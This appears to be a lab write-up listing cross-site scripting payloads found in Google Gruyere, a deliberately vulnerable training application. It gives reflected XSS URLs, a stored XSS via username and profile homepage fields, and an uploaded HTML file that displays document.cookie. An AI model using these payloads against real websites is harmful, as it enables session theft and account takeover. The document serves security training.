**XSS Vulnerabilities**

**Same URL errors (boring)**

[http://google-gruyere.appspot.com/306691016504/**<script>alert('XSS')</script>**](http://google-gruyere.appspot.com/306691016504/%3cscript%3ealert('XSS')%3c/script%3e)

[http://google-gruyere.appspot.com/306691016504/lib.js**<script>alert('XSS')</script>**](http://google-gruyere.appspot.com/306691016504/lib.js%3cscript%3ealert('XSS')%3c/script%3e)

[http://google-gruyere.appspot.com/306691016504/login**<script>alert('XSS')</script>**](http://google-gruyere.appspot.com/306691016504/login%3cscript%3ealert('XSS')%3c/script%3e)

[http://google-gruyere.appspot.com/306691016504/logout**<script>alert('XSS')</script>**](http://google-gruyere.appspot.com/306691016504/logout%3cscript%3ealert('XSS')%3c/script%3e)

[http://google-gruyere.appspot.com/306691016504/newaccount.gtl**<script>alert('XSS')</script>**](http://google-gruyere.appspot.com/306691016504/newaccount.gtl%3cscript%3ealert('XSS')%3c/script%3e)

[http://google-gruyere.appspot.com/306691016504/editprofile.gtl**<script>alert('XSS')</script>**](http://google-gruyere.appspot.com/306691016504/editprofile.gtl%3cscript%3ealert('XSS')%3c/script%3e)

[http://google-gruyere.appspot.com/306691016504/saveprofile**<script>alert('XSS')</script>**](http://google-gruyere.appspot.com/306691016504/saveprofile%3cscript%3ealert('XSS')%3c/script%3e)

[http://google-gruyere.appspot.com/306691016504/snippets.gtl**<script>alert('XSS')</script>**](http://google-gruyere.appspot.com/306691016504/snippets.gtl%3cscript%3ealert('XSS')%3c/script%3e)

[http://google-gruyere.appspot.com/306691016504/newsnippet.gtl**<script>alert('XSS')</script>**](http://google-gruyere.appspot.com/306691016504/newsnippet.gtl%3cscript%3ealert('XSS')%3c/script%3e)

[http://google-gruyere.appspot.com/306691016504/newsnippet2**<script>alert('XSS')</script>**](http://google-gruyere.appspot.com/306691016504/newsnippet2%3cscript%3ealert('XSS')%3c/script%3e)

[http://google-gruyere.appspot.com/306691016504/upload.gtl**<script>alert('XSS')</script>**](http://google-gruyere.appspot.com/306691016504/upload.gtl%3cscript%3ealert('XSS')%3c/script%3e)

**Different URL errors (interesting)**

[http://google-gruyere.appspot.com/306691016504/feed.gtl?uid=**<script>alert('XSS')</script>**](http://google-gruyere.appspot.com/306691016504/feed.gtl?uid=%3cscript%3ealert('XSS')%3c/script%3e)

[http://google-gruyere.appspot.com/306691016504/snippets.gtl?uid=**<script>alert('XSS')</script>**](http://google-gruyere.appspot.com/306691016504/snippets.gtl?uid=%3cscript%3ealert('XSS')%3c/script%3e)

**Create new user**

Click on the link to create a new user with the following credentials  
Username: <script>alert('XSS')</script>  
Password: 123456

[http://google-gruyere.appspot.com/306691016504/saveprofile?action=new&uid=**<script>alert('XSS')</script>**&pw=**123456**&is\_author=True](http://google-gruyere.appspot.com/306691016504/saveprofile?action=new&uid=%3cscript%3ealert('XSS')%3c/script%3e&pw=123456&is_author=True)

**Profile homepage**

Go to <http://google-gruyere.appspot.com/306691016504/editprofile.gtl> and enter the following code in homepage input field: **<script>alert('XSS')</script>**. Then go to “My Snippets” and click on “My site” link.

**Upload html file (cookie extraction)**

Go to <http://google-gruyere.appspot.com/306691016504/upload.gtl> and upload html file containing this code: **<script>alert(document.cookie)</script>.** Then go to uploaded file URL.